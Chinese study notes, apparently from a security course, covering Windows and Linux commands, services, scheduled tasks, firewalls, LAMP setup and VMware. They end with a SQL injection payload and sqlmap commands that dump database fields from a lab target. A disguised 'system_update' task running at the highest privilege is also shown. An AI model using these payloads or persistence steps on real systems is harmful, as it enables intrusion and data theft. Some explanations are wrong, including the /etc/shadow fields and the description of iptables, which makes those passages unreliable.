第一阶段总结

Windows

1. 指令操作

1. 文件操作

dir

- 列出**当前目录**文件
- ```
  dir //列出当前目录文件
  dir /s /b D:\password.txt  //在D盘下寻找[password.txt]文件，会递归查询
  ```

mkdir(kd)

- 新建文件夹
- ```
  mkdir newFloder //新建目录文件夹
  ```

rmdir(rd)

- 删除**文件夹**
- ```
  rmdir [盘符] [路径] 目录名//删除目录
  ```

cd

- 切换路径
- **查看当前目录**
指令	含义
cd ..	返回上一级目录
cd \	返回根目录
cd [目录名]	进入某一文件
C:	切换到C盘

echo

- 创建文件

  ```
  echo. > filename.txt //加了. 创建完全空的文件,但是会在文件中加入一个换行符
  ```

- 文件输入内容
- ```
  echo a > a.txt  //将内容“a”覆盖写入a.txt
  echo a >> a.txt  //将内容“a”后面写入a.txt
  ```

type

- 创建文件

```
type nul > test.txt //创建一个没有任何内容的文件，比echo.要更好
```

- 查看文件内容
- ```
  type [文件名] //查看文件内容
  ```

del

- 删除**文件**，不能删除文件夹
- ```
  del aaa.txt //删除aaa.txt
  del aaa.txt /f  //强制删除aaa.txt
  ```

copy

- 复制/移动/重命名**文件**，不是目录dir
命令	含义
copy a.txt b.txt	在复制文件a.txt的同时重命为b.txt
copy a.txt D:/b.txt	将a.txt复制到D盘下并命名为b.txt
copy <源文件1> <源文件2> ... <目标目录>	复制多个文件到另一个目录
copy <源目录>* <目标目录>	不能直接复制目录，但可以复制目录中的所有文件

icacls

- 查看文件或文件夹的权限
- ```
  icacls "C:\路径\文件名" /T /C /grant
  ```

rename

- 重命名文件或文件夹
- rename [源文件名] [修改文件名]

2. 其他操作

(1). ipconfig
  ```

命令	说明
ipconfig /release	释放本机现有IP
ipconfig /renew	向DHCP服务器重新获取IP
ipconfig /all	显示完整的IP信息
ipconfig /flushdns	刷新DNS缓存
ipconfig /displaydns	显示当前DNS解析缓存记录
ipconfig /registerdns	刷新DHCP租约并更新本地DNS名称

(2). ping

参数	含义
-t	不间断发送数据包
-n	定义发包次数
-l	定义发包大小(0 - 65500)
-4	将主机名转换成IP地址发送数据包

(3). arp(地址解析协议 IP–>MAC)

- 用于显示和修改**地址解析协议缓存表**，这个缓存表包含了IP地址与MAC地址之间的映射关系。

参数	含义
arp -a <IP地址>	显示特定IP地址的ARP缓存中的所有条目
-s	添加缓存记录
-d	删除缓存记录

```
arp -s [ip地址] [MAC地址]  //添加缓存记录
arp -s [ip地址] [MAC地址] [ip接口]    //指定ip接口中添加缓存记录
arp -d [ip地址]   //删除缓存记录
arp -d [ip地址] [ip接口]  //删除指定ip接口缓存记录
```

(4). netstat

参数	含义
-ano	**显示所有连接和进程id**（PID），`-a` 显示所有连接，`-n` 以数字形式显示地址和端口号，`-o` 显示与每个连接关联的进程ID。
-a	显示所有活动的TCP、UDP连接和侦听的端口
-r	查看当前路由信息
-n	不对名字进行解析文件指令

```
netstat -e  //查看以太网统计数据
nsloopup baidu.com  //解析百度的ip
tracert www.baidu.com  //跟踪访问百度的网站
```

(5). tasklist

指令	含义
tasklist /svc	显示每个进程中的服务
tasklist /v	显示详细信息
tasklist /m shell32.dll	查看那些进程调用了shell32.dll
tasklist /s [ip] /u [username] /p [密码] /svc	查看某一ip地址的进程服务

(6). taskkill

指令	含义
taskkill /pid [pid值] /f	强制关闭进程
taskkill /im [进程名称] /f	关闭进程名称

3. 系统操作

```
net start [服务名称] //启动服务
net stop [服务名称]  //关闭服务
net share  //查看主机的共享服务信息
net session #查看连接本机的会话信息
net view #查看工作组网络内的其他机器名

```

2. 用户与用户组

1. 用户

命令	说明
net user	列出用户
net user [username] [password] /add	管理员添加用户且指定账号密码
net user [username]	管理员查看用户的配置信息
net user [username] /del	管理员删除用户
net user [username] [password]	管理员修改用户密码

2. 用户组

含义	说明
net localgroup	列出本地用户组
net localgroup [用户组] [用户名] /add	将用户添加进用户组
net localgroup [用户组] [用户名] /del	将用户移出用户组

```
net localgroup administrators 用户名 /add  //将用户添加到管理组administrators
```

3.网站搭建（IIS）

1. 定义

WEB服务组件（Internet Information Service）

2.IIS服务 搭建

1. 安装IIS服务，并且勾选ASP.NET及ASP扩展
2. 虚拟机创建文件夹，将网站资源放入创建的文件夹
3. 创建网站，命名网站，选择好网站资源文件夹
4. 点击应用程序池，进入新建网站的高级设置，启用32位应用程序
5. 点击新建网站，进入ASP，开启父路径
6. 右键新建网站，进入编辑权限，点击高级共享，开启共享文件夹
7. 右键新建网站，进入编辑权限，点击安全，点击编辑，添加Everyone权限组并开启完全控制权限
8. 启动新建网站

3. DNS服务器搭建

1. 安装DNS服务器，默认操作
2. 以管理员权限打开DNS管理器
3. 点击正向查找区域，右键建立新区域，输入想要的域名，默认操作
4. 右键新建的域名，点击新建主机，绑定协议(www)和IP地址
5. 修改静态IP地址的DNS地址为虚拟机地址

4. 防火墙

1. 图形化操作

2. 命令行操作

```
1. netsh firewall show state        #查看防火墙状态信息
2. netsh advfirewall show allprofiles state   #查看配置文件防火墙状态信息
3. netsh firewall set opmode disable/enable #关闭/打开防火墙
4. netsh advfirewall set allprofiles state on/off #打开/关闭防火墙
5. netsh advfirewall firewall add rule name=demo action=allow protocol=tcp localport=3389 dir=in        //新增防火墙入站规则demo，允许tcp协议的流量通过3389端口进入
6. netsh advfirewall firewall delete rule name=demo  //删除规则demo
7. netsh advfirewall firewall add rule name=demo action=block protocol=tcp localport=3389 dir=in //新增防火墙入站规则demo，阻止top协议的流量通过3389端口进入

8. action = allow|block|bypass      //策略是 允许 | 阻止 | 绕过
9. dir = in | out           //是入站规则还是出站规则
10. protocol = tcp|udp          //是tcp协议还是udp协议
```

5. 服务

1. 简介

- SC是用来与**服务控制管理器**和**服务**进行**通信**的命令程序

2. 创建

(1). 指令

```
sc create [服务名] binPath= 执行路径 DisplayName= 显示名称
```

- 注意：选项和参数之间需要**留空格**

(2). 常用命令

```
1. sc create bbs binPath= "cmd /K start" type= own type= interact start= demand
// "cmd /K start"     启动新的命令窗口并保持打开
// type= own    服务运行在自己进程中
// type= interact     允许服务与用户桌面交互
// start= demand/auto     服务设置为手动/自动启动

2. sc query [服务名]  //查询服务信息
3. sc queryex [服务名]  //查询服务额外的信息
4. sc start [服务名]
5. sc del [服务名]
```

6. 计划任务

1. 打开方式

- 打开"运行"对话框键入taskschd.msc
- 开始菜单搜索“任务计划程序”

2. 使用方式

1. 图形化

2. 命令行

1. 常用指令

```
//查询计划任务
schtasks /query /tn ["服务名"] /v
//创建计划任务
schtasks /create /tn ["任务名称"] /tr ["执行路径"] /sc [计划任务类型]
//删除计划任务
schtasks /delete /tn ["服务名称"] (/f)
//执行计划任务
schtasks /run /tn ["服务名称"]

/run :以xx权限运行,不跟参数即为当前用户

```

2. 代码示例

```
//每隔一分钟执行calc.exe
schtasks /create /tn "game" /tr "C:\Windows\System32\calc.exe" /sc MINUTE /mo
1
```

```
//创建计划任务“system_update”，触发程序为桌面的91.exe,运行级别为高级别，以system权限每隔三个小时运行一次
type 123 > 91.exe
schtasks /create /tn "system_update" /tr "C:\Users\26254\91.exe" /rl HIGHEST
/sc HOURLY /mo 3
```

7. 命令行快捷键

按键	作用
F7	查看历史指令
F1	逐个字符补全上条指令
F3	根据当前指令位数补全上条指令后续内容
TAB	根据历史记录自动补全当前指令(多条内容可切换)

二.Linux

1. 指令操作

1. 文件操作

(1). cd

- 切换指令
- ```
  cd ~  //进入用户家目录
  cd ~用户名  //进入用户家目录
  cd -  //进入上次所在目录
  ```

(2). ls

- 显示目录下的文件
参数	含义
la	全部列出，包括隐藏
lR	递归且列表列出
ll	列表列出文件

(3). mkdir/rmdir

- 创建文件夹
- ```
  mkdir -p test1/test2  //如果test1目录不存在，则自动创建
  mkdir -m=777 test  //赋予test文件夹777权限
  rmdir test  //删除文件夹
  ```

(4). touch

- 创建或修改文件
参数	含义
-a	**修改访问时间**(数据修改时间会跟随变化)
-c	**修改时间参数(状态修改时间、访问时间、数据修改时间)**
-d	**后跟预修订的日期(只修改访问时间、数据修改时间,格式："2024-07-15 12:32:56")**
-m	只修改数据修改时间
-t	后跟预修订访问时间及状态修改时间(YYMMDDhhmm)
-r	**复制指定文件的时间戳给新文件 touch -r 1.txt test.txt**

(5). stat

- 查看文件状态
- ```
  stat filename.txt
  ```
  ```

(6). cat

- 查看文件内容
- ```
  cat test1.txt  //查看test1.txt内容
  cat test1.txt test2.txt > test3.txt将test1.txt和test2.txt的内容合并且覆盖显示到test3.txt中
  ```

(7). rm

- 删除文件或目录
参数	含义
-f	强制删除
-i	提示删除
-r	递归删除

(8). more

- **逐页**显示文本内容，按空格下一页

(9). head

- 查看文件前几行
参数	含义
-n K	显示前K行，默认10行
-c K	显示前K字节
-v [文件名]	显示文件名

(10). tail(同head)

(11). grep

- 筛选作用
参数	含义
-c	**列出包含内容的行数**
-w	**把包含内容作为字符查找**(精确查找)
-i	忽略大小写
-l	列出带有匹配行的文件名
-n	**列出行号**
-v	**列出没有匹配的行**

  ```
  grep -r 'pattern' /var/log/  //递归搜索目录中包含指定字符串的文件
  ```
  ```

(12). tar

- 打包及解包
- ```
  tar -czvf test.tar test  //将test目录打包压缩成test.tar
  ```
参数	含义
-c	**将多个文件或目录打包 (打包时用)**
-f	指定压缩后的文件名
-v	显示打包或解包具体过程(可视化)
-t	只查看tar包中有那些文件或目录
-x	**解包.tar文件**
-z	打包同时**压缩**(打包文件常跟后缀.gz)

(13). zip

- **压缩**文件或文件夹
- ```
  zip -vr test.zip test //将test目录打包为test.zip
  ```
参数	含义
-r	**递归**
-m	压缩文件后，删除原始文件
-v	可视化
-d	删除压缩包里面的某项文件
-u	往压缩包里面添加新文件
-q	压缩时不显示命令执行过程

(14). unzip

- 解压zip压缩包
- ```
  unzip test.zip  //将test.zip解压
  ```
  ```

参数	含义
-d	**指定解压目录**
-n	不覆盖已存在文件
-l	显示压缩包内容
-v	显示压缩包更多数据
-t	检测是否损坏
-x a.txt	解压文件，但不解压a.txt文件

(15). find

- 查找文件
- ```
  find / -name "*.txt"   //查找.txt文件
  ```
参数	命令
~	表示$HOME目录
.	表示当前目录
/	表示根目录
参数	命令
-name	按照名字查找 可用通配符*来查找
-operm	安装权限查找
-prune	不在当前指定目录寻找
-user	文件属主来查找
-group	文件所属组来查找
-nogroup	查找无有效所属组的文件(后不跟参数)
-nouser	查找无有效属主的文件(后不跟参数)
-type	按照文件类型查找(f：文件，d：目录)

(16). cp

- 复制文件
参数	含义
-r	递归复制
-i	带有提示的复制
-f	强制复制，直接覆盖
  ```

```
cp file1.txt file2.txt  //复制file1.txt文件为file2.txt
cp file1.txt file2.txt /home/centos/Desktop  //将两个文件复制到指定路径
```

2. 其他操作

```
kill -9 [pid]  //结束进程
lsof -i:80  //查看80端口的进程
ps -aux //获取Linux上的进程信息 a:所有，u:用户
```

指令	含义
pwd	显示当前目录
hostname	显示当前主机名及用户名
whoami	显示当前用户
sync	把内存的数据同步到磁盘
halt	立刻关机(需要root权限)
poweroff	立刻关机
shutdown	-c：取消前一个关机指令 -h：关机 -r：重启(后可跟24时制，分钟，now)
init	0：关机，3：纯文本模式，5：图像模式，6：重新启动

3. 系统服务操作

```
systemctl start httpd  //启动httpd服务
systemctl enable httpd  //开启httpd服务
systemctl status httpd  //查看httpd服务的情况
```

2. 用户与用户组

1. 用户

(1). 概念

(2). 分类

- 普通用户
- 超级用户
- 虚拟用户：不能登录系统，方便于管理系统，如**bin**、adm、**nologin**、nobody用户等

3. 相关命令

命令	含义
useradd [用户名]	创建用户
useradd -g [组名] [用户名]	创建用户并指定用户组
useradd [用户名] -s xxx	创建用户并指定登录后的操作
usermod -g [组名] [用户名]	修改用户所在用户组
usermod -l [新用户名] [用户名]	修改用户名
userdel [用户名]	删除用户
userdel -r [用户名]	删除用户包括用户家目录

命令	含义
passwd [用户名]	修改用户密码
gpasswd [用户组]	修改用户组密码
su [用户名]	切换用户身份
id [用户名]	显示用户信息(组名,组编号,用户名,用户编号)

2. 用户组

(1). 概念

- 具有相同权限的一组用户
- 对用户**进行管理**及**访问控制权限**的手段

(2). 相关文件配置

1. /etc/passwd

- 一个典型的`/etc/passwd`文件行可能看起来像这样：

```
root:x:0:0:root:/root:/bin/bash
```

在这个例子中：

- 登录名是`root`
- 密码字段是`x`，表示密码存储在`/etc/shadow`文件中
- 用户ID（UID）是`0`，表示这是一个超级用户账户
- 组ID（GID）是`0`，表示该用户属于root组
- 用户描述是`root`
- 主目录是`/root`
- 登录Shell是`/bin/bash`

2. /etc/shadow

- 一个典型的`/etc/shadow`文件行可能看起来像这样：

```
root:$6$FZ/JtZpS$JH2VrEgfJt76yj31sWZnKJnRM5ZvY7sY.y9VH9LqX2ZPQzQ:18754:0:99999:7:::
```

在这个例子中：

- **用户名**是`root`
- **加密后的密码**是一个复杂的散列值，表示密码的复杂性
- 密码最后一次更改的时间是`18754`，表示自从系统开始运行以来，密码被更改了18754次
- 密码最小使用期限是`0`，表示密码可以立即更改
- 密码最大使用期限是`99999`，表示密码可以使用99999天
- 密码警告期限是`7`，表示在密码到期前7天开始警告用户
- 密码不可使用期限是`0`，表示密码到期后账户不会被禁用
- 账户失效时间是`0`，表示账户永远不会失效
- 密码历史字段是空，表示没有密码历史记录
- 保留字段是空，用于未来扩展

3. /etc/group

4. /etc/gshadow

- 存储用户组密码的一类信息

(3). 相关命令

命令	含义
groupadd [组名]	添加用户组
groupadd -g [组编号] [组名]	添加用户组时指定组编号
groupmod -n [新组名] [旧组名]	修改用户组名
groupmod -g [组编号] [组名]	修改用户组编号
groupdel [组名]	删除用户组

3. 软件安装方式

1. yum方式

(1). 定义

- **基于RPM包**构建的软件更新机制，可以**自动解决包之间的依赖关系**

(2). 源存放目录

- /etc/yum.repos.d
- 所有源文件以.repo结尾

(3). 常用选项

参数	作用
install	安装软件
update	升级软件
remove	卸载软件
clean	清除缓存
search	搜索软件

```
yum search [软件名]
yum install [软件名]
yum update [软件名]
yum remove [软件名]
```

(4). 其他用法

```
yum info [软件包名]  //查看软件详细信息
yum list installed  //查看已经安装的所有文件
yum install [软件名] -y  //跳过所有选项，默认同意
yum update  //更新所有软件(不存在的会与云端同步，存在的会替换下载链接)
yum check-update  //检查可更新的软件
```

(5). 换源

```
sudo wget -O /etc/yum.repos.d/CentOS-Base.repo
http://mirrors.aliyun.com/repo/Centos-7.repo  //换源
//换源失败，尝试下面两步
sudo yum clean all
sudo yum makecache
```

2. rpm软件包

(1). 命名格式

(2). 基本用法

```
rpm -q[子选项] 软件名
```

参数	作用
-q	仅查询是否有安装
-qa	列出已经安装的软件
-ql	列出该软件所有的文件与目录所在的完整文件名
-qR	列出与该软件有关的相依软件所含的文件

(3). 安装选项及参数

参数	含义
-i	**安装指定的rpm文件**
-v	**显示安装过程的详细信息**
-h	以 # 显示安装的进度
-U	**用指定的.rpm文件升级同名包**
-e	**卸载软件**

```
//在线安装
rpm -ivh http|ftp://xxx.com/xx.rpm
//本地安装
rpm -ivh xx.rpm
```

3. 源码安装

(1). 定义

- 通过tar包安装
- 不能直接运行，需编译可执行成二进制文件

(2). 优点

- 获取最新版本，及时修复Bug
- 灵活定制软件功能

(3). 应用场合

- **较新版本**的应用程序大都以源码形式发布
- 功能无法满足需求时可自定义
- 便于添加新功能

(4). 安装过程

1. 安装前，仔细阅读Readme
2. 解压源码，跳转到源码解压目录，输入./configure，配置安装目录

   ```
   ./configure --prefix=/usr/local/webserver
   ```

3. 使用make进行编译(前提是产生了Makefile文件)，作用是生成二进制文件

   ```
   make
   ```

4. 安装二进制文件(即将二进制文件复制到相应的目录)

   ```
   sudo make install
   ```

5. 启动安装好的服务进行测试

```
./usr/local/webserver/bin/apachectl start
```

6. 在解压目录删除安装产生的临时文件

```
make clean
```

7. 在解压目录卸载已安装程序(前提Makefile指定过uninstall)

```
make uninstall
```

4. 网站搭建(LAMP)

1. LAMP概述

- 是一种常用来搭建动态网站或服务器的开源软件

2. LAMP组件

- Linux
- Apache：Web服务器
- MySQL
- PHP

3. 搭建过程

1. 安装httpd(Apache环境)

```
1.yum -y install httpd httpd-devel httpd-manual mod_ssl
2.systemctl start httpd  //启动httpd服务
3.systemctl enable httpd  //开机自启httpd服务

systemctl status httpd  //查看httpd服务的情况
```

2. 安装mysql数据库

```
1.yum -y install mariadb-server mariadb
2.systemctl start mariadb //启动数据库服务
3.systemctl enable mariadb  //开机自启数据库服务
```

3. 安装PHP语言环境

```
1.yum -y install php php-common php-gd php-mbstring php-mcrypt php-devel
php-xml
2.systemctl restart httpd  //重启httpd服务
```

4. 将源代码放入/var/www/html文件夹中
5. 网页输入网址启动服务

5. iptables防火墙

1. 含义

- 不是真正的防火墙，而是客户端代理

2. 结构

- iptables -> tables -> chains -> rules
- 规则链

链名	说明
input	入站数据过滤
output	出站数据过滤
forward	转发数据过滤
prerouting	路由前过滤
postrouting	路由后过滤

3. 语法

```
iptables -t filter -I INPUT -p icmp -j REJECT
```

4. 参数

- -p 指定协议类型，例如tcp、udp、icmp
- -j 数据包常见控制类型

参数	含义
ACCEPT	允许通过
REJECT	拒绝通过，必要时会给出提示
DROP	直接丢弃，不予回应
LOG	记录日志信息

- -t 指定表
- -I 在链的开头或指定序号，插入一条规则
- -m 表示启用扩展功能，一般与-p配合使用
- -d 指定IP地址
- --deport 知道目的端口
- -D 删除链内指定序号的一条规则
- -F 里清空所有规则

注意：

1. 不指定表名时，默认指filter表

2. 不指定链名时，默认指表内所有链
3. 选项、链名、控制类型使用大写字母，其余小写字母

5. 规则查看

- -L 列出所有规则条目
- -n 以数字形式显示地址、端口信息
- -l 以更详细的方式显示规则信息
- 指令

```
iptables -t filter -I OUTPUT -p icmp -j REJECT  //通过ping命令
iptables -n -L OUTPUT  //查看OUTPUT链
iptables -n -L INPUT  //查看INPUT链
iptables -D OUTPUT 1  //删除output链第一条规则
```

6. 防火墙

```
systemctl status firewalld           //查看防火墙服务情况
firewall-cmd --state             //显示防火墙服务当前运行情况
systemctl enable/disable firewalld           //开启/关闭防火墙服务
firewall-cmd --get-active-zones              //查看防火墙活动区域情况
--add-service={服务名}                          //活动区域允许服务
--add-port={端口号/协议}                       //活动区域允许端口/协议
--remove-service={服务名}                 //活动区域禁止服务
--remove-port={端口号/协议}           //活动区域禁止端口/协议
--reload #重载
--permanent #永久设置
firewall-cmd --zone=public --add-port=80/tcp --permanent         //防火墙公共区域永久允许80端口tcp协议的流量通过
firewall-cmd --reload #重载

firewall-cmd：firewalld命令行工具
--add-port：           //允许端口通过
--permanent：表示设置为永久
--zone：           //设置防火墙区域
```

7. 服务

1. 软连接

1. 注意

在/etc/init.d文件夹存放脚本，并在/etc/rc.d/rc[0-6].d中存放该脚本的软连接

2. 步骤

1. 先建立shell脚本并写入内容.移入/etc/init.d文件夹

```
touch filename.sh
vim filename.sh
mv filename.sh /etc/init.d
```

2. 将该脚本赋予软连接，并放入/etc/rc.d/rc3.d中

```
ln -s /etc/init.d/filename.sh /etc/rc.d/rc3.d/S100filename.sh  //K开头的脚本文件表示运行级别加载时需要关闭的，S开头的代表需要执行，后跟数字越小级别越高
```

3. 重启实现该服务

```
//laffrex脚本内容
nt_time=$(date +"%Y-%m-%d-%H-%M-%S")
file_path="/etc/init.d/$current_time.txt"
echo "Current time: $current_time" > "$file_path"
echo "File created: $file_path"
```

2. Service服务

步骤

1. 给脚本filename文件可执行权限

```
chmod +x /etc/init.d/filename
```

2. 添加filename.service并编辑

```
vim /etc/systemd/system/filename.service
```

```
//filename.service文件内容
[Unit]
Description=Laffrex Service
After=network.target

[Service]
Type=simple
ExecStart=/etc/init.d/laffrex

[Install]
WantedBy=multi-user.target
```

3. 赋予filename.service开机自启等权限

```
systemctl daemon-reload  //刷新启动项
systemctl enable filename.service  //开机自启
systemctl start filename.service  //开启服务
systemctl status filename.service  //查看服务状态
```

8. 定时任务(cron)

1. 简介

- 是用于在预定时间执行命令的服务，使用crontab来管理定时任务
- 每个用户都有一个对应的crontab文件
- 在后台运行，默认每分钟持续的检查三个文件、目录，读取并执行

```
/etc/crontab 文件
/etc/cron.* 目录
/var/spool/cron 目录
```

- 所有用户创建的crontab文件都保存在/var/spool/cron 目录

2. 使用

```
1. 查看现有定时任务
    crontab -l
2. 编辑定时任务
    crontab -e
3. 删除定时任务
    crontab -r
4. 重启任务调度
    service crond restart
```

3. cron格式

```
分钟   小时   日期   月份   星期   命令或脚本
```

4. 实例

```
1. 0 3 * * * /path/to/your/script.sh  //每天凌晨3点执行脚本script.sh
2. */5 * * * * *   //每隔五分钟执行一次
3. 0 5 1,15 * * *  //每月1号和15号凌晨5点执行一次
```

9. 命令行快捷键

操作	含义
ctrl +U	清空至行首
ctrl +K	清空至行尾
ctrl +L	清屏
ctrl +C	中断执行
ctrl +Z	后台挂起(jobs列出作业,fg %[数字] 开启作业几)
ctrl +D	退出Shell

10. Vim操作

1. 输入模式

- 键入 a、i、o 进入，按ESC退出

按键	作用
Page Up/Page Down	向上/向下翻页
退格键Backspace	删除光标前一个字符
DEL	删除光标后一个字符
Home / End	移动光标到行首/行尾
Insert	输入/替换模式切换

2. 一般模式

- 正常进入vim即为一般模式

(1). 光标移动方法

按键	作用
Ctrl + f	相当于Page Down
Ctrl + b	相当于Page Up
0 / Home	移动到行首
$ / End	移动到行尾
G	移动到文件尾
gg	移动到文件首
n + Enter	光标向下移动n行

(2). 搜索替换

按键	作用
/word	向光标下寻找字符"word"
?word	向光标上寻找字符“word”
n	重复前一个搜寻动作
N	反向进行前一个搜寻动作

(3). 删除、复制与粘贴

按键	作用
x / X	相当于Del / Backspace
dd	删除当前行
ndd	删除光标向下n行
yy	复制当前行
nyy	复制光标向下n行
p / P	粘贴在光标下一行 / 上一行
u	复原前一个动作，相当于Windows的ctrl + z
Ctrl + r	重做上一个动作，相当于Windows的ctrl + y
.(小数点)	重复上一个动作

3. 命令模式

- 键入： 进入，按ESC退出

常用指令

指令名	含义
:wq	保存并退出
:q!	强行退出且不保存
:w	保存当前修改
:q	退出当前文件

三.VMWare

1. 网络连接方式

1. 桥接模式

- 与主机位于同一网段，可同外界进行通讯，适用于设备数较少的情况(即<254)

2. NAT转换模式

- 与主机位于不同网段，可同外界进行通讯

3. 主机模式

- 只能和主机进行通讯

2. 克隆

1. 链接克隆

- 基于源机器引用操作，储存占用少

2. 完整克隆

- 完整复制一份，储存占用大

3. 快照

- 保留当前的生产状态或环境

4. 导入/导出

- vmware导出的为ovf格式文件

5. 配置静态ip

1. 改网关配置文件

1. 使用root权限输入vim /etc/sysconfig/network-scripts/ifcfg-ens33并修改或添加以下内容

```
BOOTPROTO="static"
ONBOOT="yes"
GATETAY=192.168.172.2
IPADDR=192.168.172.100
NETMASK=255.255.255.0
DNS1=114.114.114.114
DNS2=8.8.8.8
```

2. 使用root权限输入vim /etc/sysconfig/network并添加以下内容

```
NETWORKING=yes
GATEWAY=192.168.172.2
```

2. 改DNS配置

3. 重启网络服务设置

```
使用root权限输入systemctl restart network.service
```

四.Sql注入初体验

1. payload

2. sqlmap

1. 使用方式

- 当存在sql报错信息时，考虑存在sql注入，可用sqlmap进行实验

```
1.通过sqlmap相关指令获取到payload：
id=-4923' UNION ALL SELECT
NULL,NULL,CONCAT(0x7170767871,0x6c52764a46544d5255545848736a6b6e6c7146716
d6248776e797150616c42477a69455064717167,0x717a6b6b71)-- -
2.将获取的payload用16进制进行转换：
    id=-4923' UNION ALL SELECT
NULL,NULL,CONCAT(0x40,database(),0x40),NULL-- -
3.将payload替换网页地址的参数
```

- 常用于获取数据库结构信息

2. 参数

- 参数可以随机组合，顺序没有要求

参数名称	含义
-D	指定数据库
-T	指定表格
-C	指定字段
-dbs	列出当前数据库
--database --dbs	获取数据库列表
--tables	获取当前条件下所有表
--columns	获取字段列表
--current-db	获取当前数据库
--current-user	获取当前用户
--dump	导出内容（慎重使用！！）
--flush-session	清除sqlmap注入的缓存
--batch	表示使用推荐选项

3. 任意漏洞下载

- 定义：在传递参数或者权限校验时用户可以自由传递下载内容
- 对下载的内容（参数）进行解码，解析下载位置后，可以自由编码想要下载的内容，并进行下载
- 适用于有**下载专区**的网站

4. 实例

```
sqlmap -u [url] //测试某一url是否存在sql注入

    --current-db //查询当前数据库（推荐使用）
    --tables -D [数据库名]
    --columns -T [字段名] -D [数据库名]
例：
sqlmap -u http://192.168.71.36/Less-1/?id=2 //对某一url进行sql注入测试
sqlmap -u [url] --current-db //查询当前数据库名称
sqlmap -u [url] --tables -D [数据库名] //查询当前数据库下的表
sqlmap -u [url] --columns -T [字段名] -D [数据库名] //查询某一张表的字段
sqlmap -u [url] -D [数据库名] -T [表名] -C [字段名] --dump //将指定数据库的指定表的指定字段的数据脱机
```